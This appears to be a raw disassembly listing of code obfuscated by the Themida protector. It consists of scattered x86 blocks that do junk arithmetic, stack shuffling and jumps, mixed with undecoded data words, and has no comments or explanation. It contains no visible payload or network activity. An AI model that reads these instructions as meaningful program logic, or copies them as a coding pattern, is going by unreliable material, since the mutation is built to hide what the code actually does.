		dd 0EC81241Ch, 4, 0E9242489h, 0FFFFC2E7h, 0E924148Bh, 61C4h
		dd 0BF5E80B9h, 59C8014Fh, 416B5F2Dh, 24348B09h,	4EC81h
		dd 2C890000h, 6DD6E924h, 0E901FFFFh, 81242C8Bh,	4C4h, 59CF2900h
		dd 0DBE9C35Bh, 5BFFFF40h, 532AE981h, 0E9513D54h, 0FFFFCF9Ch
; ---------------------------------------------------------------------------


loc_568354:				; CODE XREF: Themida_:0056BB80j
		push	4ECC5611h
		pop	eax
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	esi, 2
		push	4A01h
		mov	[esp], eax
		mov	eax, 58887BD4h
		xor	esi, eax
		pop	eax
		shr	esi, 3
		jmp	loc_55E661
; ---------------------------------------------------------------------------


loc_56837D:				; CODE XREF: Themida_:0056438Fj
		xor	ecx, 6B951EB6h
		xor	edx, ecx
		mov	ecx, [esp]
		jmp	loc_55DD8D
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 342CC181h, 0D1016527h, 342CE981h, 34FF6527h,	24148B24h
		dd 4C481h, 0C4810000h, 4, 2B850h, 0C1010000h, 0FF454BE9h
		dd 0A7C281FFh, 534EDA36h, 0B76EEC68h, 241C8B24h, 0E904C483h
		dd 1B0Dh
; ---------------------------------------------------------------------------


loc_5683D4:				; CODE XREF: Themida_:005611A3j
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_56EDBB
; ---------------------------------------------------------------------------
		dd 4B8h, 8BC30100h, 0C4812404h,	4, 5C241C87h, 0FFA80CE9h
		dd 8BB53FFh, 2146CB1Bh,	91E9DFh, 89660000h, 7168241Ch
		dd 8900005Bh, 76B1240Ch, 8003E1C0h, 0C18092F1h,	0C9D9E901h
		dd 0C181FFFFh, 9F868CF8h, 4E9C801h, 89FFFF78h, 0E2892414h
		dd 4B850h, 0C2010000h, 4EC8358h, 67FBE9h, 0BB00h, 0D3010000h
		dd 80B7E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56846A:				; CODE XREF: Themida_:0056E21Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	edx
		mov	edx, esp
		push	6C40h
		mov	[esp], ebp
		mov	ebp, 14E31991h
		jmp	loc_5666C5
; ---------------------------------------------------------------------------


loc_568488:				; CODE XREF: Themida_:0055E667j
		and	edi, 27391351h
		dec	edi
		add	edi, 0EC128FBh
		or	esi, edi
		pop	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_570778
; ---------------------------------------------------------------------------
		dd 2EB80h, 262A68C3h, 0CCE90000h, 5BFFFF71h, 0FF6BB0E9h
		dd 5BDD01FFh, 2C581h, 2C330000h, 242C3124h, 5C242C33h
		dd 66C0B60Fh, 8324148Bh, 2C8904ECh, 2C8B5424h, 4C48124h
		dd 81000000h, 4ECh, 240C8900h, 0C5FF6B9h, 53E1814Ch, 8135F77Dh
		dd 442C6EC1h, 0C3C9810Ch, 0E9380F63h, 6E6Bh, 8324048Bh
		dd 0C78104C4h, 2, 225568h, 209BE900h, 83AD0000h, 0F00207Fh
		dd 0FFA23D84h, 89EE81FFh, 8163376Ch, 0D93BA1C6h, 0E9C6015Ch
		dd 3969h, 51242C89h, 2B9h, 8BCD8900h, 8951240Ch, 4C181E1h
		dd 0E9000000h, 0FFFFDFB3h
; ---------------------------------------------------------------------------


loc_568554:				; CODE XREF: Themida_:005604C9j
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		push	4
		pop	ebx
		sub	edi, 0C3F65BFh
		add	edi, ebx
		add	edi, 0C3F65BFh
		pop	ebx
		jmp	loc_56408B
; ---------------------------------------------------------------------------
aISG		db '\‰,$éÍG',0
		dd 0F5815800h, 140717F6h, 20CD814Dh, 8149D74Fh,	0A83948F5h
		dd 0E9DDF776h, 0FFFFD28Dh, 6FE9D531h, 0E9000009h, 0FFFF3E7Eh
; ---------------------------------------------------------------------------


loc_5685A4:				; CODE XREF: Themida_:0056DEB9j
		add	[edx], ebx
		pop	edx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5691D1
; ---------------------------------------------------------------------------
		dd 0AD2CD905h, 67F12D7Eh, 0D80158DDh, 3647E9h
		db 0
; ---------------------------------------------------------------------------


loc_5685C5:				; CODE XREF: Themida_:0056B879j
		mov	[esp], edx
		mov	edx, 274705BFh
		push	ebp
		push	edx
		jmp	loc_56B03A
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 0C104C483h, 0E8C104E8h, 0FF820508h, 0C501FFFFh
		dd 27E95358h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5685EF:				; CODE XREF: Themida_:0056FABBj
		pop	edx
		sub	edx, 7A946DA1h
		add	edx, 0FA02745h
		sub	edx, eax
		sub	edx, 0FA02745h
		push	ebp
		jmp	loc_55F4EE
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 0FFC6E4E9h, 242489FFh, 4240481h, 0E9000000h,	5F5Ah
		dd 0E985C180h, 0FFFFE8E0h, 4804E0C1h, 1F413B2Dh, 0BEEF81BDh
		dd 8118ED36h, 2D60BAEFh, 81C70146h, 2D60BAC7h, 0BEC78146h
		dd 5818ED36h, 207DE950h, 0BD550000h, 2ED61DCFh,	182AF581h
		dd 0D5F76915h, 4508E5C1h, 3CAAE581h, 0ED81619Eh, 29F705B5h
		dd 0FFFCBDE9h, 243C89FFh, 7B2D20BFh, 0D884E964h, 0F181FFFFh
		dd 0E162BE9h, 68h, 24048100h, 70726FCDh, 81240C29h, 6FCD242Ch
		dd 0C8B7072h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 53D1F75Ch, 52C87BBh,	0DAE7E919h, 0EA81FFFFh,	115C3B94h
		dd 0C281CA01h, 115C3B94h, 81240C8Bh, 4C4h, 2B95100h, 1000000h
		dd 0EC8359CAh, 24148904h, 42474FFh, 8324148Bh, 48F04C4h
		dd 24248B24h, 4AB0F66h,	23E99C24h, 54FFFF3Dh, 0E9243C8Bh
		dd 59B0h
; ---------------------------------------------------------------------------


loc_568708:				; CODE XREF: Themida_:00563E78j
		add	ecx, edi
		pop	edi
		jmp	loc_56791D
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 0FFCB2AE9h, 0EC815EFFh, 4, 55243C89h, 0BE1D9EBDh
		dd 23F3E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56872E:				; CODE XREF: Themida_:00563830j
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56B838
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 50662414h, 3CD8E99Ch, 0E189FFFFh, 4BE56h, 0EBE90000h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568757:				; CODE XREF: Themida_:0056C48Cj
		push	0EF23CE9h
		jmp	loc_569CE4
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0EFh
		dd 8B64F11Fh, 89532414h, 0BF2EE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568772:				; CODE XREF: Themida_:0055FAE4j
		pop	esp
		or	edx, eax
		jmp	loc_55E812
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 43F710BDh, 8AE9F101h, 87FFFF43h, 0FD5C2404h,	42986853h
		dd 1C8B056Bh, 456BE924h, 15B0000h, 243C8BFAh, 4C481h, 14870000h
		dd 4095C24h, 6FE99C24h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5687B3:				; CODE XREF: Themida_:0056283Aj
		pop	esi
		push	edx
		mov	edx, esp
		jmp	loc_56D8D9
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFDED5h, 396D7CBDh, 8BEE2933h, 0C481242Ch
		dd 4, 0B850C601h, 33396D7Ch, 5858C601h,	0ACE9F289h, 59FFFF92h
		dd 8904EC83h, 0D6B1240Ch, 0C180C1FEh, 0AF1803Eh, 8001E980h
		dd 0F18035E1h, 59CF00D1h, 45BF828h, 821EE907h, 2D5E0000h
		dd 73E5609Eh, 0B174AD2Dh, 0E9D8015Fh, 0FFFFA335h, 468h
		dd 0C1895800h, 0FFCD0158h, 81592434h, 4ECh, 240C8900h
		dd 0C1815954h, 4, 4B850h, 0C1010000h, 240C3358h, 33240C31h
		dd 248B240Ch, 0E7895724h, 4C781h, 15E90000h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_568863:				; CODE XREF: Themida_:00568D1Bj
		and	ebp, esi
		pop	esi
		sub	ebp, 8D74E7DFh
		jmp	loc_562BAF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 13A0E9h, 242C8900h, 1C6B75BDh, 6EBE5630h, 0E95ADE3Eh
		dd 6BDh
; ---------------------------------------------------------------------------


loc_56888C:				; CODE XREF: Themida_:0055E0C1j
		push	eax
		push	3CAC7CEFh
		mov	eax, [esp]
		add	esp, 4
		dec	eax
		jmp	loc_55E54C
; ---------------------------------------------------------------------------


loc_5688A1:				; CODE XREF: Themida_:00570D79j
		add	ebx, 10D918DCh
		xor	ebx, 41857D6Fh
		add	ebx, 272D38D2h
		push	edx
		mov	edx, 57EB2EA3h
		sub	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		sub	eax, 207B0BCDh
		sub	eax, edx
		add	eax, 207B0BCDh
		jmp	loc_564F65
; ---------------------------------------------------------------------------


loc_5688DA:				; CODE XREF: Themida_:0055F48Fj
		add	edx, 4
		jmp	loc_562F70
; ---------------------------------------------------------------------------
		db 29h,	0DFh, 5Bh
		dd offset dword_540058+591h
		dd 0B6526600h, 66F530A2h, 8124148Bh, 2C4h, 78BE900h, 0EC810000h
		dd 4, 0E9243489h, 0FFFF442Ah
; ---------------------------------------------------------------------------


loc_568910:				; CODE XREF: Themida_:00570EC8j
		pop	ebx
		push	esi
		push	edx
		mov	edx, 4
		push	edx
		add	dword ptr [esp], 5B823FA6h
		pop	esi
		push	ecx
		mov	ecx, 480A31DEh
		sub	ecx, 4D037539h
		sub	ecx, 487958B0h
		shl	ecx, 7
		inc	ecx
		xor	ecx, 1D33C527h
		sub	esi, ecx
		jmp	loc_56A8A7
; ---------------------------------------------------------------------------
		dd 0C103E7C1h, 0EF8108E7h, 605F0E4Bh, 815FFD21h, 7255D9EDh
		dd 0C6ED814Ah, 45409219h, 6FE9DDF7h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568967:				; CODE XREF: Themida_:0056C048j
		shl	ecx, 6
		xor	ecx, 77BCDB20h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_566022
; ---------------------------------------------------------------------------
		dd 4EF81h, 3C870000h, 4895C24h,	2B824h,	0C5290000h, 70DAE958h
		dd 0D189FFFFh, 276CE95Ah, 0E1680000h, 8900003Dh, 52572404h
		dd 0A26676BAh, 0F815BF77h, 0D7019C0Dh, 2564E95Ah, 0C4810000h
		dd 4, 81E68956h, 4C6h, 4C68300h, 0E9243487h, 0FFFFC615h
		dd 8852C588h, 0E9F388EEh, 6788h
; ---------------------------------------------------------------------------


loc_5689DC:				; CODE XREF: Themida_:0056BBCBj
		and	eax, 0CB36062h
		xor	eax, 7DD359C0h
		add	eax, 0C707F030h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	esi, 1
		sub	esi, 1
		push	46CAh
		mov	[esp], ebp
		jmp	loc_565B36
; ---------------------------------------------------------------------------
aS_7		db '\éÇ]',0
		align 2
		dw 435Ah
		dd 0E75E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568A16:				; CODE XREF: Themida_:00564B1Aj
		push	edx
		mov	edx, 281F072Ah
		push	esi
		mov	esi, 23B17B3Bh
		jmp	loc_56C568
; ---------------------------------------------------------------------------
		db 4
aIhQ		db '›h°q',0
		align 2
		dw 1C89h
		dd 0BEE95124h, 0BDFFFF5Ch, 28C66D8Fh, 0D5DE889h, 3C6D0B9Dh
		dd 77BC1205h, 9842E922h, 0CB31FFFFh, 0E9D83159h, 0FFFFEC46h
		dd 81F9015Ah, 4ECh, 24148900h, 0BA4808BAh, 68E95648h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568A6F:				; CODE XREF: Themida_:00568010j
		push	edx
		jmp	loc_560DDC
; ---------------------------------------------------------------------------
		db 68h,	92h, 24h
		dd 295E6220h, 2434FFF0h, 0FFA30FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568A85:				; CODE XREF: Themida_:00562DA3j
		mov	eax, 29A56773h
		dec	eax
		inc	eax
		add	eax, 6DF6082Eh
		add	eax, 0C474E12Fh
		or	esi, eax
		pop	eax
		xor	esi, 27803371h
		and	esi, 508269BDh
		push	ecx
		mov	ecx, 0E87BC9ACh
		sub	esi, ecx
		pop	ecx
		sub	eax, 22DB59A3h
		add	eax, esi
		push	ebx
		mov	ebx, 6924098h
		inc	ebx
		jmp	loc_567745
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFEFE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568AC9:				; CODE XREF: Themida_:00562B0Dj
		add	ebx, esi
		jmp	loc_56133E
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFF88A7h, 0C104EBC1h, 706805EBh, 0E900004Eh
		dd 0FFFF3A18h, 52D9F759h, 0F25099BAh, 0FFD12104h, 815A2434h
		dd 4C4h, 1DF18100h, 0E900A010h,	0FFFF6D2Dh
; ---------------------------------------------------------------------------


loc_568B08:				; CODE XREF: Themida_:0056E9B3j
		add	edx, 85E78093h
		jmp	loc_56EC22
; ---------------------------------------------------------------------------


loc_568B13:				; CODE XREF: Themida_:00561596j
		push	edx
		mov	edx, 47D309CCh
		push	ecx
		push	esi
		mov	esi, 50AE1159h
		add	esi, 18DA0E44h
		jmp	loc_55F33F
; ---------------------------------------------------------------------------


loc_568B2B:				; CODE XREF: Themida_:0056E34Cj
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		jmp	loc_55D6A2
; ---------------------------------------------------------------------------


loc_568B36:				; CODE XREF: Themida_:005659A7j
		neg	edx
		add	edx, 52FE486Eh
		jmp	loc_56CBEA
; ---------------------------------------------------------------------------
		db 57h
		dd 52DF8BFh, 4EF7817Dh,	8136276Fh, 633BE5E7h, 40EF8123h
		dd 0C16F9F2Ah, 0F78106E7h, 2A41AF36h, 4BD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_568B69:				; CODE XREF: Themida_:00562DBAj
		or	esi, 3DCF688Dh
		inc	esi
		add	esi, 36780747h
		xor	esi, 0B6777105h
		mov	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_56E21C
; ---------------------------------------------------------------------------
		dd 0C3BCE95Fh, 0E389FFFFh, 4C381h, 0EB830000h, 241C8704h
		dd 243C895Ch, 0FFE2C9E9h, 0E9CE29FFh, 0FFFFB94Bh, 24048B66h
		dd 4D0868h, 242C8900h, 0FF5758E9h, 24248BFFh, 659AEB81h
		dd 0E951783Bh, 763Eh, 89240489h, 6BB951E0h, 0E9410627h
		dd 0FFFFA204h, 51243489h, 4EC81h, 22E90000h, 5DFFFFFAh
		dd 0E1E9F729h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568BF7:				; CODE XREF: Themida_:005636E2j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5691D1
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	eax
		mov	eax, 1Ch
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		pop	eax
		pop	esi
		push	ebp
		mov	ebp, 48E87EE4h
		push	ebx
		mov	ebx, 1DDE732Dh
		add	eax, ebx
		pop	ebx
		add	eax, ebp
		sub	eax, 1DDE732Dh
		jmp	loc_560169
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 240C8B66h, 0E9E38953h, 45DCh
; ---------------------------------------------------------------------------


loc_568C60:				; CODE XREF: Themida_:00570706j
		mov	edi, 2CC21826h
		sub	edi, 61BB6A38h
		add	edi, 300D273Bh
		and	edi, 0F0113E8h
		jmp	loc_56159B
; ---------------------------------------------------------------------------


loc_568C7C:				; CODE XREF: Themida_:0056FB97j
		sub	[esp], eax
		add	dword ptr [esp], 40929BCh
		push	7D98h
		mov	[esp], edx
		mov	edx, 98A5303h
		add	dword ptr [esp+4], 6B1873DBh
		push	ebp
		mov	ebp, 73736D17h
		sub	dword ptr [esp+8], 3FC779B4h
		add	[esp+8], ebp
		add	dword ptr [esp+8], 3FC779B4h
		pop	ebp
		jmp	loc_56FCFC
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3762h, 54E9F800h, 81FFFF96h, 4ECh, 242C8900h, 0C26E9h
		db 0
; ---------------------------------------------------------------------------


loc_568CD5:				; CODE XREF: Themida_:0056C8EFj
		sub	ebx, 67282B5Bh
		pop	eax
		push	6C5Eh
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_55E97E
; ---------------------------------------------------------------------------
		dw 68ADh
		dd 10DAh, 0FFC8DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568D05:				; CODE XREF: Themida_:0055F4F3j
		not	ebp
		add	ebp, 58694519h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2C5F7587h
		jmp	loc_568863
; ---------------------------------------------------------------------------


loc_568D20:				; CODE XREF: Themida_:00564678j
		and	ecx, 2161636Ah
		shl	ecx, 4
		xor	ecx, 2B6B481Eh
		mov	edx, ecx
		pop	ecx
		jmp	loc_55DCE5
; ---------------------------------------------------------------------------
		db 5Bh
		dd 81E9C6B3h, 89FFFF89h, 22E9240Ch, 0FFFFFF52h,	5B042474h
		dd 8B24048Fh, 0F9F72424h, 5DD068h, 24148900h, 0BFE99C50h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568D63:				; CODE XREF: Themida_:0056B936j
		neg	ebx
		add	ebx, 183210B3h
		jmp	loc_56C3E4
; ---------------------------------------------------------------------------
		dd 23E9E389h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568D77:				; CODE XREF: Themida_:005601B6j
		mov	[esp], eax
		push	ebp
		mov	ebp, 547E7A81h
		jmp	loc_56B867
; ---------------------------------------------------------------------------
		db 5Ah,	53h, 0E9h
		dd 0FFFFBE5Bh, 322968h,	24048900h, 5FC0E9h, 241C8900h
		dd 0FF477968h, 0C5E95B6Eh, 53FFFF8Ch, 0FF7A37E9h, 48B66FFh
		dd 19F76824h, 34890000h, 68E68924h, 5219h, 56240489h, 913630BEh
		dd 6968E92Ah, 0E9530000h, 1F72h, 0D6B652ACh, 565AF028h
		dd 0C681E689h, 4, 4EE81h, 34330000h, 24343124h,	5C243433h
		dd 0B5240C89h, 0F6C5FE10h, 66D5F6DDh, 2454F651h, 0E9596601h
		dd 0FFFFBBBDh, 582434FFh, 81E68956h, 4C6h, 4C68100h, 56000000h
		dd 42474FFh, 24048F5Eh,	8F24248Bh, 248B2404h, 2434FF24h
		dd 5A2434FFh, 2B9D68h, 241C8900h, 0C381E389h, 4, 4C381h
		dd 1C870000h, 0E5685C24h, 8900007Ah, 95E92434h
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568E5F:				; CODE XREF: Themida_:0056D555j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_56D47E
; ---------------------------------------------------------------------------
		db 52h,	0B6h, 6Eh
		dd 0AEE9F000h, 0FFFFFF4Eh, 0FAE92434h, 0BB000053h, 28C042C1h
		dd 97BD5543h, 45767E0Fh, 5EBBC581h, 0EB01A764h,	0FF96B6E9h
		dd 241489FFh, 3C5B75BAh, 5AD10125h, 4C1835Dh, 0FF55E2E9h
		dd 9DF281FFh, 17FCC90h,	7903E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EBA:				; CODE XREF: Themida_:0056D738j
		pop	esi
		add	[esp+8], edi
		add	dword ptr [esp+8], 7B4B51FBh
		jmp	loc_560BE2
; ---------------------------------------------------------------------------
		dd offset dword_5A9F68
		dd 24148900h, 3D4B4BBAh, 0B5EA812Bh, 291C5747h,	0E3815AD3h
		dd 293A7486h, 0EB81DBF7h, 0F6FDBBFAh, 835BDF01h, 0EC8304C7h
		dd 243C8904h, 42474FFh,	24048F5Fh, 5024248Bh, 886DE954h
		dd 0E95AFFFFh, 0FFFF4C67h
; ---------------------------------------------------------------------------


loc_568F14:				; CODE XREF: Themida_:0055D648j
		mov	ebp, ecx
		pop	ecx
		add	ebp, 0EE0169Eh
		jmp	loc_56ED02
; ---------------------------------------------------------------------------
		dw 8853h
		dd 5BF988E7h, 88CC8850h, 585958E7h, 34FFF830h, 0FB87E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568F3A:				; CODE XREF: Themida_:0056F787j
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_56246B
; ---------------------------------------------------------------------------
		db 0B9h, 6Ah, 0E8h
		dd 14E9B00Ch, 66000027h, 348B665Ah, 2C48124h, 66000000h
		dd 0E9240C8Bh, 7782h
; ---------------------------------------------------------------------------


loc_568F68:				; CODE XREF: Themida_:0056150Ej
		dec	ebx
		sub	ebx, 33B16104h
		not	ebx
		sub	ebx, 6D4FDCECh
		jmp	loc_562B2E
; ---------------------------------------------------------------------------
		dd 0B72E9468h, 0DAA3E954h, 4E5EFFFFh, 0FF4193E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_568F8D:				; CODE XREF: Themida_:005701DFj
		pop	ebp
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_565C88
; ---------------------------------------------------------------------------
		dd 0C280C228h, 5393E941h, 3181FFFFh, 506369A1h,	2434FF59h
		dd 0E924048Bh, 4461h, 0E95AD729h, 49FFh, 44657068h, 94E7E972h
		dd 8142FFFFh, 4ECh, 0AAB3E900h,	0EB81FFFFh, 641A3AA9h
		dd 241E9h, 0E9565F00h, 0FFFFFA91h, 405E089h, 0E9000000h
		dd 0FFFF9CDBh
; ---------------------------------------------------------------------------


loc_568FF0:				; CODE XREF: Themida_:00564E92j
		or	eax, eax
		jz	loc_55E91D
		sub	esp, 4
		jmp	loc_56D5D6
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4860B850h, 0E8C15356h, 7E8C102h, 7E95652h, 0FFFFD1h
		dd 74BEE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56901E:				; CODE XREF: Themida_:0055E24Aj
		add	eax, ecx
		mov	ecx, [esp]
		push	edi
		jmp	loc_570D6A
; ---------------------------------------------------------------------------
		db 0B8h, 0AEh, 42h
		dd 0D0F7441Bh, 48E9D8F7h, 5B00003Eh, 5C240487h,	68240C89h
		dd 6F3Fh, 0BA241489h, 4, 0E5E9D189h, 81000082h,	4C6h, 4C68100h
		dd 87000000h, 515C2434h, 397692B9h, 0D6B8503Bh,	52C6440h
		dd 1310A431h, 2958C101h, 0F250E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56907E:				; CODE XREF: Themida_:00560E8Aj
		add	esp, 4
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xchg	ecx, esi
		jmp	loc_567B3F
; ---------------------------------------------------------------------------
		db 2Ch,	0D2h, 0
		dd 9625E9E8h, 0C583FFFFh, 242C8704h, 0FFD560E9h, 0E9D701FFh
		dd 5C4Ch, 3743EEBEh, 0EAF6811Eh, 11E3743h, 10E95EF3h, 51FFFF79h
		dd 592404FFh, 0E9914941h, 3556h, 0E36E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5690CE:				; CODE XREF: Themida_:0055F4BBj
		add	ebx, 128250Ch
		add	ebx, ecx
		sub	ebx, 128250Ch
		pop	ecx
		jmp	loc_56AAA8
; ---------------------------------------------------------------------------
		dw 632Dh
		dd 2D6C924Fh, 33884099h, 3F7C1E2Dh, 4EC817Ah, 89000000h
		dd 8BE2434h, 0C132B52Dh, 0C68305E6h, 99CE8101h,	0E9441745h
		dd 0FFFF997Ah
; ---------------------------------------------------------------------------


loc_569110:				; CODE XREF: Themida_:0056F7F5j
		push	eax
		neg	dword ptr [esp]
		pop	eax
		add	eax, 1
		add	eax, 0FE5068Bh
		jmp	loc_55D792
; ---------------------------------------------------------------------------
		dd 0E931CD31h, 0FF981BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56912D:				; CODE XREF: Themida_:005653ECj
		pop	eax
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 100h
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	ebp
		jmp	loc_561574
; ---------------------------------------------------------------------------
		dd 8758C201h, 0A8E92414h, 0FFFF94h, 0B4E959CBh,	28FFFFC3h
		dd 0CA285AD1h, 4EC8359h, 70EE9h, 56F00100h, 935DABBEh
		dd 5EF00102h, 0FFC3315Eh, 3298E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56918A:				; CODE XREF: Themida_:00569505j
		push	edx
		sub	dword ptr [esp], 412772A1h
		mov	ebp, [esp]
		jmp	loc_5601C9
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0E9E68924h, 0FFFF5D3Ch, 582434FFh, 4EEE68h, 240C8900h
		dd 64B4E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5691B6:				; CODE XREF: Themida_:005619F8j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56FF76
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 6E11E9h
		db 0
; ---------------------------------------------------------------------------


loc_5691D1:				; CODE XREF: Themida_:005685AFj
					; Themida_:00568C12j
		push	4AEh
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_56AF94
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 7Eh
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5691E7:				; CODE XREF: Themida_:00569392j
		xchg	ecx, [esp]
		jmp	loc_560190
; ---------------------------------------------------------------------------


loc_5691EF:				; CODE XREF: Themida_:00561982j
		pop	ebx
		xor	ebp, 53A6056Ah
		jmp	loc_56A7EA
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8141D1F7h, 0C25EBCE1h, 0E5E98130h, 81CCF392h, 2A5B32EDh
		dd 53CD0162h, 3A5EC0BBh, 29C6E977h, 0D8090000h,	0E9D8F75Bh
		dd 0FFFF7E27h
; ---------------------------------------------------------------------------


loc_569228:				; CODE XREF: Themida_:0056323Fj
		sub	bl, dh
		jmp	loc_560EBB
; ---------------------------------------------------------------------------


loc_56922F:				; CODE XREF: Themida_:00565907j
		push	edx
		mov	edx, 42FB35DBh
		push	ebx
		mov	ebx, 5C104AF0h
		add	esi, ebx
		pop	ebx
		add	esi, 20AC1D58h
		add	esi, edx
		sub	esi, 20AC1D58h
		sub	esi, 5C104AF0h
		pop	edx
		push	ebp
		mov	ebp, 50EF136Dh
		and	ebp, 5A9A0853h
		sub	ebp, 73DE285Dh
		add	ebp, 760A9AC4h
		add	esi, ebp
		pop	ebp
		add	esi, eax
		sub	esi, 52B672A8h
		sub	esi, 42FB35DBh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_565B16
; ---------------------------------------------------------------------------
		db 0FFh
		dd 348B2434h, 4C48324h,	8EE95450h, 81FFFFBAh, 4C3h, 241C8700h
		dd 0FF3D85E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5692A5:				; CODE XREF: Themida_:0055F638j
		add	ecx, ebx
		jmp	loc_5693EF
; ---------------------------------------------------------------------------
		dd 0E9FFC783h, 0FFFF8237h, 0E92434FFh, 79C8h
; ---------------------------------------------------------------------------


loc_5692BC:				; CODE XREF: Themida_:0056F562j
		pop	ebp
		sub	ebx, eax
		jmp	loc_55D14B
; ---------------------------------------------------------------------------
		dd 0FF241C89h, 8B042474h, 8951241Ch, 4C181E1h, 56000000h
		dd 4676BD55h, 0EE897FDAh, 7E6C15Dh, 0C504C681h,	0F10112DCh
		dd 3833E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5692F2:				; CODE XREF: Themida_:0055E519j
		add	edx, 6E756028h
		pop	eax
		add	edx, 7F233E6Ah
		sub	edx, 43A3075Eh
		add	edx, eax
		add	edx, 43A3075Eh
		sub	edx, 7F233E6Ah
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56F3E7
; ---------------------------------------------------------------------------
		db 89h,	0EAh, 0E9h
		dd 0FFFF7213h, 4D04C483h, 74EA68h, 241C8900h, 39664BBh
		dd 16ED814Bh, 0E91DB128h, 0FFFF324Dh, 4576FD68h, 0DAE95803h
		dd 8900001Fh, 0D0F75DE8h, 0FFE88340h, 0FFCE0DE9h, 241C8BFFh
		dd 0E904C483h, 0FFFF8F87h, 0BB241C89h, 4, 535BDF01h, 468h
		dd 7926E900h, 0B850FFFFh, 0F346BE08h, 0FF3167E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569389:				; CODE XREF: Themida_:00570543j
		push	4
		pop	eax
		add	ecx, eax
		pop	eax
